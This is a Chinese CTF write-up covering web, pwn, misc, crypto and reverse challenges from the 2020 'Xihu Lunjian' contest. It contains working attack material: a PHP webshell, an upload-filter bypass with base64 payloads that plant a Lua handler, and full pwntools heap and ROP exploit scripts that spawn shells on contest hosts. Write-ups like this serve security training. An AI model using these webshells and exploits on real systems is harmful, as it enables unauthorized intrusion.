CTF真(太)好(难)玩(了)

0%

“西湖论剑” 2020 WriteUp By NepNep

题目质量很高,yusa很好看,签到很快乐,明年还来(

Web

NewUpload

打开是一个文件上传界面,文件名不能含有php,还会对文件头部进行检查,经过测试发现换行能够绕过文件名的过滤。

上传马成功,但是发现好像POST传值有点问题,应该是被过滤了,将POST内容使用base64加密绕过,成功进入命令执行,进入phpinfo,发现PHP版本为7.4,有disable_function和open_basedir。

web1

绕过open_basedir查看根目录,发现需要调用readflag来获取flag。

file_put_contents没有被BAN,重新上传一个没有绕open_basedir的马,通过file_put_contents上传lua脚本运行readflag,然后再上传一个.htaccess加载脚本。

1
2
3
4
5
6
7
8
9
10
require "string"
function handle(r)
r.content_type = "text/plain"
if r.method == 'GET' then
local a = io.popen('/readflag')
local b = a:read("*all")
r:puts(b)
end
return apache2.OK
end
1
2
3
<Files "*.lua">
SetHandler lua-script
</Files>

payload

1
ZmlsZV9wdXRfY29udGVudHMoJy5odGFjY2VzcycsICc8RmlsZXMgIioubHVhIj4KCVNldEhhbmRsZXIgbHVhLXNjcmlwdAo8L0ZpbGVzPicpOw==
1
ZmlsZV9wdXRfY29udGVudHMoJzEubHVhJywgJ3JlcXVpcmUgInN0cmluZyIKZnVuY3Rpb24gaGFuZGxlKHIpCiAgICByLmNvbnRlbnRfdHlwZSA9ICJ0ZXh0L3BsYWluIgogICAgaWYgci5tZXRob2QgPT0gIkdFVCIgdGhlbgogICAgICAgIGxvY2FsIGEgPSBpby5wb3BlbigiL3JlYWRmbGFnIikKICAgICAgICBsb2NhbCBiID0gYTpyZWFkKCIqYWxsIikKICAgICAgICByOnB1dHMoYikKICAgIGVuZAogICAgcmV0dXJuIGFwYWNoZTIuT0sKZW5kJyk7

GET访问即可得到flag。

EasyJson

查看源码发现使用json_decode获取content,直接使用unicode编码绕过。

payload

1
2
3
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0027\u0061\u0061\u0027\u005d\u0029\u003b\u003f\u003e"}

{"content":"<?php eval($_POST['aa']);?>"}

Pwn

mmutag

程序开始泄露了栈地址
"pwn1_1.png"

查看后发现存在UAF漏洞
"pwn1_2.png"

存在cannary
但是发现可以泄露
"pwn1_3.png"

思路,泄露canary,通过uaf申请chunk到栈上,进行栈溢出,泄露地址后进行攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding=utf-8
from pwn import *
menu="please input your choise:"
sh = 0
lib = 0
elf =ELF('pwn')
libc=ELF("./libc.so.6")
# libc=ELF("/home/giantbranch/2pwn/training/buuctf16/libc/1664")
""" """
l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
leak = lambda name,data : sh.success(name + ": 0x%x" % data)
s = lambda payload: sh.send(payload)
sa = lambda a,b :sh.sendafter(str(a),str(b))
sl = lambda payload: sh.sendline(payload)
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
ru = lambda a :sh.recvuntil(str(a))
r = lambda a :sh.recv(str(a))
""" """
def add(index,content):
sla(menu,"1")
sla("please input your id:",str(index))
sa("content",content)

def delete(index):
sla(menu,"2")
sla("please input your id:",str(index))
def b(addr):
# bk="b *$rebase("+str(addr)+")"
bk="b *"+str(addr)
attach(sh,bk)
success("attach")
def pwn(ip,port,debug):
global sh
global libc
if(debug == 1):
sh = process("./pwn")
else:
sh = remote(ip,port)

pop_rdi=0x0000000000400d23
pop_rsp3=0x0000000000400d1d
pop_rsi_r15=0x0000000000400d21
bss=0x000000000602100
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
read_plt=elf.plt["read"]
sla("please input you name:","freedom")
sh.recvuntil("this is your tag: ")
stack=int(sh.recvuntil(":",drop=True).ljust(8,"\x00"),16)
leak("stack",stack)
sla("please input your choice:","2")
sla(menu,"3")
s("a"*0x19)
sh.recvuntil("a"*0x19)
canary=u64(sh.recv(7).rjust(8,"\x00"))
leak("canary",canary)
add(1,"freedom")
add(2,"freedom")
delete(1)
delete(2)
delete(1)
payload1=p64(0)*2+p64(0x71)
sla(menu,"3")
s(payload1)
fastbin=stack-0x38
leak("fastbin",fastbin)
add(3,p64(fastbin))
add(4,p64(0))
add(5,p64(0))
payload=p64(canary)+p64(0) #0x10
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt) #0x28
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss)+p64(1)+p64(read_plt)
payload+=p64(pop_rsp3)+p64(bss)
# b(0x0000000000400BAC)
add(6,payload)
sla(menu,"4")
libc_base=l64()-libc.sym["puts"]
leak("libc_base",libc_base)
sh.recvuntil("\n")
one_gadget=libc_base+0x4527a
sleep(1)
sl("/bin/sh\x00"*3+p64(0x4527a+libc_base)+p64(bss)+p64(libc_base+libc.sym["system"]))
sh.interactive()
if __name__ == "__main__":
pwn("183.129.189.61",56004,0)

ezhttp

检查发现程序是存在沙箱的
"pwn2_1.png"

运行分析程序后,发现是模仿创建一个http包,但是仔细分析后发现本质还是类似于普通的菜单题。
"pwn2_2.png"

并且存在uaf漏洞,无泄漏
"pwn2_3.png"

思路:
利用uaf打IOFILE泄露libc地址,之后通过劫持free_hook进行正常的堆题ORW操作。
通过爆破即可读取到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
menu=""
sh = 0
lib = 0
elf =ELF('pwn')
libc=ELF("./libc-2.27.so")
# libc=ELF("/home/robye/2pwn/buuctf/libc/64")
""" """
l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
leak = lambda name,data : sh.success(name + ": 0x%x" % data)
s = lambda payload: sh.send(payload)
sa = lambda a,b :sh.sendafter(str(a),str(b))
sl = lambda payload: sh.sendline(payload)
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
ru = lambda a :sh.recvuntil(str(a))
r = lambda a :sh.recv(str(a))
""" """
def make_message(a, b=''):
message = 'POST '
message += '/'+a+' '
message += 'Cookie: '
message += 'user'.ljust(10, ' ')
message += '=admin '
message += 'token: '
message += '\r\n\r\n'
message += b
return message
def add(a):
pay = make_message('create', 'content'+'='+a)
sh.sendlineafter('======= Send Http packet to me: ========', pay)
def delete(a):
pay = make_message('del', 'index '+'='+str(a))
sh.sendlineafter('======= Send Http packet to me: ========', pay)
def edit(a, b):
pay = make_message('edit', 'index='+str(a)+'&content='+b)
sh.sendlineafter('======= Send Http packet to me: ========', pay)
def b(addr):
# bk="b *$rebase("+str(addr)+")"
bk="b *"+str(addr)
attach(sh,bk)
success("attach")
def pwn(ip,port,debug):
global sh
global libc
if(debug == 1):
sh = process("./pwn")
else:
sh = remote(ip,port,timeout=1)
add("a"*0x100)
sh.recvuntil("0x")
heap_addr = int(sh.recv(12), 16)
delete(0)
add("a"*0x100) # 1->0
add("a"*0x18)
delete(2)
add("a"*0x18) # 3->2
add("a"*0x28)
delete(4)
add("a"*0x28) # 5->4
for i in range(8):
delete(0)
for i in range(5):
delete(2)
for i in range(5):
delete(4)
edit(1, p16(0x4760))
edit(3, p64(heap_addr))
edit(5, p64(heap_addr+0x8))
add(p64(0xfbad1887))
add("a"*0x8+p16(0x4760+0x8))
add(p64(0xfbad1887))
add("a"*0x28)
add("a"*0x18+p8(0xc0))
add("a"*0x18+p8(0xc0))
libc_base = l64()-0x3eba00
leak("libc_base", libc_base)
delete(2)
delete(2)
edit(3, p64(libc_base+libc.sym["__free_hook"]))
add(p64(libc_base+libc.sym["system"]))
add(p64(libc_base+libc.sym["setcontext"]+53))
syscall = libc_base+0x00000000000d29d5
pop_rdi = 0x000000000002155f+libc_base
pop_rsi = 0x0000000000023e8a+libc_base
pop_rdx = libc_base+0x0000000000001b96
pop_rax = libc_base+0x0000000000043a78
free_hook_base = libc.sym["__free_hook"]+libc_base & 0xfffffffffffff000
SROP = SigreturnFrame()
SROP.rdi = 0
SROP.rsi = free_hook_base
SROP.rdx = 0x2000
SROP.rsp = free_hook_base
SROP.rip = syscall
edit(1, str(SROP))
payload = [pop_rdi, free_hook_base, pop_rsi, 0x2000, pop_rdx,
0x7, pop_rax, 10, syscall, libc_base+0x0000000000002b1d]
orw = shellcraft.open("flag", 0)
# orw = shellcraft.open("flag.txt", 0)
orw += shellcraft.read("rax", free_hook_base+0x300, 0x100)
orw += shellcraft.write(1, free_hook_base+0x300, 0x100)
delete(1)
"""
b *0x00000000000018C6
"""
s(flat(payload)+asm(orw))
sh.interactive()
if __name__ == "__main__":
# pwn("node3.buuoj.cn",28894,1)
while(1):
try:
pwn("183.129.189.62",57902,0)
break
except:
sh.close()

managesystem

检查题目后发现是久违的mips架构~

运行后发现堆溢出漏洞,利用unlink控制free_got泄露libc,覆写free地址为system,Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#coding=utf-8
from pwn import *
from struct import pack
context.log_level = "debug"
# context.arch = "i386"
context.arch = "amd64"

menu=""
sh = 0
lib = 0
elf =ELF('managesystem')
libc=ELF("./lib/libc.so.0")
# libc=ELF("/home/robye/2pwn/buuctf/libc/64")
""" """
l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
leak = lambda name,data : sh.success(name + ": 0x%x" % data)
s = lambda payload: sh.send(payload)
sa = lambda a,b :sh.sendafter(str(a),str(b))
sl = lambda payload: sh.sendline(payload)
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
ru = lambda a :sh.recvuntil(str(a))
r = lambda a :sh.recv(str(a))
""" """

def add(size,payload):
sla(">>",str(1))
sla("length:",str(size))
sa("info:",payload)
def delete(idx):
sla(">>",str(2))
sla("user:",str(idx))
def edit(idx,payload):
sla(">>",str(3))
sla("edit:",str(idx))
sa("info:",payload)
def show(idx):
sla(">>",str(4))
sla("show:",str(idx))
def b(addr):
# bk="b *$rebase("+str(addr)+")"
bk="b *"+str(addr)
attach(sh,bk)
success("attach")
def pwn(ip,port,debug):
global sh
global libc
if(debug == 1):
sh = process(["qemu-mipsel-static","-g","1234","-L","./","./managesystem"])
else:
sh = remote(ip,port)

add(0x58,'freedom')
add(0x58,' freedom ')
add(0x58,' freedom ')
add(0x58, 'freedom ')
add(0x58,' freedom ')
add(0x58,' freedom ')
edit(0,p32(0)+p32(0x59)+p32(0x411830-0x8-4)+p32(0x411830-0x8)+'\x00'*0x48+p32(0x58)+p32(0x60))
delete(1)
edit(0,p64(0)+p32(0x004117b4)+p32(0x58)+p32(0x411838)+p32(0x58))
show(0)
ru("info: ")
libc_base = u32(sh.recv(4))-libc.sym["free"]
edit(0,p32(libc.sym["system"]+libc_base))
edit(3,"/bin/sh\x00")
delete(3)
sh.interactive()
if __name__ == "__main__":
pwn("183.129.189.62",62603,0)

Misc

签到

有手就行

Yusapapa

网页源码有个hint。Biometric list搜到 PGP词汇表,github有解码的,得到如下

1
2
3
You can see my collection puzzles in /hint.rar and another /encode.png.
By the way,the picture shoud be used
"Yusa" is very important in this challenge!!

GitHub找到个stegpy的项目 pip3 install stegpy 安装 直接无脑解密


得到两个密码 都试了一下 第二个能解hint.rar得到一个hint.jpg

官方放了个hint:invisible 不然我要骂人了。InvisibleSecre隐写 华军上下了一个很古老的软件。。。。

然后上面网页源码里说 “Yusa” 在这题很重要 用”Yusa”解密 加密算法选最后一个,得到encode.py

这是加密encode.png的脚本 简单分析一下是生成两个随机密钥流 然后跟flag.png 每像素异或 然后用lsb原理往source.png像素里加flag.png 流1加密在R通道 流2加密在G通道 enc写到B通道

解密只需各个取出最后一位 然后异或回来就是flag了

用蹩脚的脚本水平逆一下得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from PIL import Image
en_p = Image.open('./encode.png').convert('RGB')
a,b = en_p.size
R=[]
G=[]
B=[]
key1stream = []
key2stream = []
enc = []
flag = []

for x in range(a):
for y in range(b):
tmp = en_p.getpixel((x,y))
R.append(tmp[0])
G.append(tmp[1])
B.append(tmp[2])

# 取出lsb数据
for i in range(len(R)):
if bin(R[i])[-1] == '1':
key1stream.append(1)
else:
key1stream.append(0)

if bin(G[i])[-1] == '1':
key2stream.append(1)
else:
key2stream.append(0)

if bin(B[i])[-1] == '1':
enc.append(1)
else:
enc.append(0)

# 恢复flag
for i in range(len(enc)):
flag.append(enc[i]^key1stream[i]^key2stream[i])

# 简单画一下
img = Image.new('RGB',(a,b),(255,255,255))
for x in range(a):
for y in range(b):
if flag[y+x*b] == 0:
img.putpixel((x,y),(0,0,0))
else:
img.putpixel((x,y),(255,255,255))
img.save('flag.png')

指路为马

根据题意得到图片,并base64解码写入图片,得到两个图片

1
2
3
4
5
6
7
8
9
import base64

deer=b"iVBORw0KGgoAAAANSUhEUgAAAEgAAABICAAAAABwhuybAAAEXUlEQVR4nO2XS2xbRRSG/5l7b/xSb2wnDqbBSdU0FcQUmsRZVCAkorZJumkrFWEkWLJgyZINC5bsQQKEVAkhNRKJRKWqjUiFEAgUkYRQtYQ+ZCc4jzbk4dgkaWzfOSwSP+7D9r3Jtmc198ycz/+ZmTMzBp6Zc2N959wAXGdjDEDTxY6DggJfXT8FoOv7L/wArox/xG2FmUcpHsUNwKO4FYB3QNABQaCKyGi39pc9kKzT8p/Yb3pdfkhNSvTtpvu/2eLoQBfPfjkNAGh7+bTqlYIfs8aGha9XHYOkUyd7pgFAes/L8iIHldIzo4/scSpB2mPRpWYAwLtwK1EAINZW8jY5utQmzr8Uv5YB+MKnf9uNtwTdGbt8uWtW8tG4c44OVPiWBqJRiELSOUcHQvbqw4FjDR4qHBbU/mane0MJy+e2Z7VDgFj3W01ZhZFGL4bGx2wvVzG63IzF/TMjZwYYh0Dh1k2HpHKtxeIqJZcfaqRpRPLgkGI3cM9KqcXiKjHCfoWSPIiamviQd3KuspyL4FhcJcALLyuRampiJ4Y+OFMxL0VFvXGVAOpTTkg2NQktcGm5YsNxAGCxd/wAQIH+SElu3XkSgV6jotbXsptySNKfafXnCWGpvN1kANB+JzraLxnH1SVJFZMkA0BWcvlebTAfqSQPSjef1tJkAG0pA17F6mgm+XxoLCUseqxB9AveCO5lxhViABVjifd13vlzYctUepVZASiVCGsMKQAg2j8JCrDtmaelgYzl0umcEcQiR4jf/ax8TuzvI0qn9xrJxCsaoC3Pl9MjOdRiToUI5A8vlL6NJbP73bYQgrfplpCE2Qig1vejVUH46Z4EUIvfzrVIR989WRW0el0AcEdscADRfEmtBsKNJQ6g1WvrphYdxTIxgx7c5gCpYVuSwHtc1UDaaIYBUti4UayNwoFqIExMcQCyTZBbrQrKjhYA8cRWYQCSUhWEHxKySM7ZU1SqDdmiK/XNlfUnebsgVAfRyPNHWJljyJFZ/4IVCKnp/nK0K6iP3NmwDxK3OyNFkgi+rp/H3amUVYz123dlZL3UwbjevLE2+yDcu5ood+lTI48lyTI1ALPLvd3HJQBM7EqGsuOntUVTQI1FDn8YIIAt/2xYNmrpyUvB4pf2+d2aigAUCADY6o/GA7vVxRtEs8Fp74+G3hjn+X/WioDQwUEAWG5+bW9W+IXYYUBguflFAgBqjEftgaosB9u6NskAgPzHgZqTvR9Q5VnKVh4tsT4C9t9m9RSxjV+tSSKhZYcny3LrKGLp4T+sO9YXgcwwSk+kOorYxJTZ6eMAJXcAbN7IFDXVS23H7JLaGNjW3p2+W8r7AMvf/BwBqU2D9wCgdheQSxrvT+cgXwRgj1eMbuegVpUgEqY94RgkHeNg60smv2NQcwuB5syL6RjU7gLbmjP7nYJ8EQCpjLmjVokwTtxY+y80guUTpBtTD7Q95iF23+icBnb+1Y95UEPMM6uw/wEb7IPCRqC/gwAAAABJRU5ErkJggg=="
with open("deer.png""wb"as fp:
    fp.write(base64.b64decode(deer))

house=b"iVBORw0KGgoAAAANSUhEUgAAAEgAAABICAAAAABwhuybAAAFeElEQVR4nO2Xy28TVxTGvzN2ZpLYIY5dkgImIU4I2DFqQqiaqGpL2gXqv8AC2lUX/BFl032lSpWqblqpGyQ2LQhERQhUDSqk4ZnEtHnxCATn4TjP8fOeLmZszzPEUpeclefeM7/z3e/OfRh4G/9n+Dtk907v7jnKh42vc6690u5BTe/u1FsFyEPVgGoaqkAbw+pR5+m5689dq+5QxApSWjuO/DhbGoRgU6dcv7E7UH1472EUw2fuFDVS8e+UKblmX3JXoHBfiEKAOJjSClPOOpTOp2k3kCG19aN3IADA08habGyZk7nxRN2bFTWc8AuEWiWADtG8AIAF1ZLNrZ77SwynqIAa19cpHpMZgLddmcsTCpmwBACFZLGcFQ69TKoaivPragVKxl/9Z/YI/WlxRiVtoKC1qyoAtJzyAgAx66+LrWdPNu2KGL2n/el6vaFZntogzUBS8wCALXUPA2CQXl0KBPbdXtFfN5gdPxt68M210lNTNFj6mSxooJdWX5ibB3w20JEv9vLMqyeFUlJDtEX7pb4kSZIInFi3rTZuOWIdWuTLfUJiVNxjpUuZFwA8xwVAUzNYvTvgs03ZoYRqAsW+CgnAh3rDWL3t8tMCULMfAD0H8CxzbH+NQQ4A9jeYQF3fHR1LE/fXdHkMNaWD8kyGwAAKaQBIpkJBWRsf1YeCEgOSvmtqrW3fnxTp+2kiYov21alNAkDL1zLWQdW2xQMMcX1eKwoA9edPFjnQG2AWVg+CsSAA8LSNg8w/N1cq7ksA8P7nAuBAT4CJyDwz3HC0BcCLaRsHwModtZztBYC4XwDgpt6RJY/gBo+JVNslL6/N+f12Tl59PRczgXQsN937SRY43StM+d5ION9nx5DILSeWyqvQCwDjmz4GQBt/LQIYOqqYX5FqXTaPgz3p5flSEgDcveohgDyXRwFgctK2NbNzCA50HJYNoO2vL2xJ0uYv51UAyA5btyH3YBz4WPtEdXt8J7p5fGxbe1DO9QmXFx0i98NdA8gcvecUp2bnkB59m4XLSTsxUcUpye0H4AbKVeES2Bd2BWGyGklSozuoKknat+hSuSpJtAMod8NdkvPtxq1w4pFbD684XtuMZ78n3Fx+u7hWdKxMuZnNQFuNvcMI6vqk8h1yIzuBqHB58XgKDiTDAChSKyrheMJT4cpvOULqWX4nRZKX4Walzslf/bVAABw0WW9sBX222OFKTdlLV3Sj7SQLSEoOaQtfdMet0yalLo6UzmE7yaZoQ99BVItJxE8uJgCQv0ySjSm7u/kTide3bq0DQEenftmZHTvVZCC5ghjQ55S5sD1//552UwsNKAwAtPBHMnk2UCG5gho8QPbWGoGLanpxKau1Kv26iumRNYzCQLKCvB5NudzvFdL4BctqoN4IA6Dio9EMYCJZpka0HNNaYt0C6rB1VUXeAwBSR25rJ/joz6ul784AKqYBeD/o8QCQB+sgjScsnOCAAkBKDz0snYujQ6U+o6KHrwio6WsuCbppEaQMBBmgV9dmy84o7WScFz3SQwuE4sMlQD5ZB2li0syhnggDmP7d8D8i1i2gzllBSA0tiNGxAhCNOzjU3gOQeHBjzaBxsA7SZAKwzlrqRsu/RUAerBM2QcEBhUkdfVw0tEVjAupw1g7CygrgLEjpDzHSf84Zl4U8WCekSa2g0wfpKKgzwsgMvzC1RbvLghz3bEeH/B5QbtVaECVBTiD507KDO0c0LpC5mXUFxQyCDWG7XmqCJvQnu0dGBw2RXWPaNO1R0bhAplzQDup2FpSYZYhtW8GSIDtIcRaErBUdMwmyexSLOQqyhdkhh//9n/kEOQiyRfwYpKyhoA00PgU8frMg5C8JWp94c97bqMR/qKdMxhtIpukAAAAASUVORK5CYII="
with open("house.png""wb"as fp:
    fp.write(base64.b64decode(house))

然后要两张图片融合,获得将要上传的第三张图片,再写脚本上传图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
import base64
host = 'zlwm.a34abd.challenge.gcsis.cn'
port = 11451
r = remote(host, port)

f = open("img.png", "rb").read()
line = base64.b64encode(f)
r.sendlineafter('>', '3')
r.recvuntil('>')
r.sendline(line)
r.recvline()
rev = r.recvline()
rev = base64.b64decode(rev)
open("rev", "wb").write(rev)

最后发现文件内有base64编码的图片,解码即可得到flag

问卷调查

有手就行

Crypto

BrokenSystems

导入公钥文件后,发现e较大,尝试winner attack,可以解除私钥d,随后使用RSA库解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import *
from gmpy2 import next_prime, gcd
import os

def egcd(a, b):
    u, u1 = 10
    v, v1 = 01
    while b:
        q = a // b
        u, u1 = u1, u - q * u1
        v, v1 = v1, v - q * v1
        a, b = b, a - q * b
    return u, v, a


def gcd(a, b):
    a, b = (b, a) if a < b else (a, b)
    while b:
        a, b = b, a % b
    return a


def modInverse(e, n):
    return egcd(e, n)[0] % n


def totient(p, q):
    return (p-1)*(q-1)


def bitlength(x):
    assert x >= 0
    n = 0
    while x > 0:
        n = n+1
        x = x >> 1
    return n


def isqrt(n):
    if n < 0:
        raise ValueError('square root not defined for negative numbers')

    if n == 0:
        return 0
    a, b = divmod(bitlength(n), 2)
    x = 2**(a+b)
    while True:
        y = (x + n//x)//2
        if y >= x:
            return x
        x = y


def is_perfect_square(n):

    h = n & 0xF 

    if h > 9:
        return -1 
    if (h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8):
        t = isqrt(n)
        if t*t == n:
            return t
        else:
            return -1

    return -1


def rational_to_contfrac(x, y):
    a = x//y
    pquotients = [a]
    while a * y != x:
        x, y = y, x-a*y
        a = x//y
        pquotients.append(a)
    return pquotients


def convergents_from_contfrac(frac):
    convs = []
    for i in range(len(frac)):
        convs.append(contfrac_to_rational(frac[0:i]))
    return convs


def contfrac_to_rational(frac):
    if len(frac) == 0:
        return (01)
    num = frac[-1]
    denom = 1
    for _ in range(-2, -len(frac)-1-1):
        num, denom = frac[_]*num+denom, num
    return (num, denom)


def hack_RSA(e, n):
    frac = rational_to_contfrac(e, n)
    convergents = convergents_from_contfrac(frac)

    for (k, d) in convergents:
        # check if d is actually the key
        if k != 0 and (e*d-1) % k == 0:
            phi = (e*d-1)//k
            s = n - phi + 1
            # check if the equation x^2 - s*x + n = 0
            # has integer roots
            discr = s*s - 4*n
            if(discr >= 0):
                t = is_perfect_square(discr)
                if t != -1 and (s+t) % 2 == 0:
                    print("Hacked!")
                    return d

rsakey = RSA.importKey(open("public.key""r").read())
rsa = PKCS1_OAEP.new(rsakey)
n = rsakey.n
e = rsakey.e
d = hack_RSA(e, n)
rsakey = RSA.construct([n, e, d])
rsa = PKCS1_OAEP.new(rsakey)
m = rsa.decrypt(open("message""rb").read())
print(m)

Reverse

Cellular

main函数里可以看到 输入25个字符,然后进Honeycomb::CheckFlag关键函数,能看到输入只能是L和R两种字符。观察逻辑可以发现,这个走迷宫可以从逻辑上取巧。
如果当前这一步走错了,后面的输入便不会进行判断,直接就会return 0退出。这就意味着可以通过动态调试,一字节一字节的判断当前有没有被“ret0”,如果走错了,就向另一个方向走。
手爆发现好像只有在第三字节的位置有一个旁路,就没有别的旁路了,动调猜解出路径“RLRLLRLLLRRLLRLLRLRLLRLLR”,做个MD5加密即是flag

loader

这题应该是这次比赛中最简单的一道Re,没有复杂的算法也没有偏门的骚操作(只可惜比赛的时候来不及现学cmd语法

其实根据题目名loader和IDA静态看一眼loader.exe,马上就可以知道这道题会通过参数加载一个文件到程序内部里并解密它,然后程序会跳过去运行里面的代码。而这个参数必然带有提供给你的这个“code”和一个参数“-d”,但就通过这两个参数发现还是运行不了这个程序,稍作动调可以发现还需要用到第三个参数解密code这个文件,也就是说必须要拿到getflag.bat里的第三个参数。getflag.bat里的内容则是用到cmd语法里set会产生空变量的这样一个机制,将“%X%”这样的空变量删去后,会在批处理文件的最后发现第三个参数“114514”,然后就可以提供参数启动动调了。


动调到这个地方其实就是完成了所有的加载解密过程,要跳转到code空间里去运行里面的代码了。跟进去,可以发现第一个函数的结构非常像start函数,根据结构,找到main函数,create function再转伪代码,可以看到里面非常简单的逻辑

写个脚本解密就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ciper = [
0x02, 0x0D, 0x6A, 0x1A, 0x27, 0x7F, 0x32, 0x65, 0x86, 0xA5,
0xC5, 0xD7, 0xCF, 0xDD, 0xE3, 0x98, 0x3D, 0x79, 0x53, 0x6A,
0x18, 0x54, 0x37, 0x14, 0xA9, 0xE0, 0x82, 0xB2, 0xCE, 0x80,
0xCD, 0x8C
]

key = "PEFile"
flag = []
for i in range(len(ciper)):
flag.append( ciper[i] ^ ((16 * i ^ ((i | 0xE3) + ord(key[i % 6])) )&0xFF ) )

print(flag)
print("".join([chr(x) for x in flag]))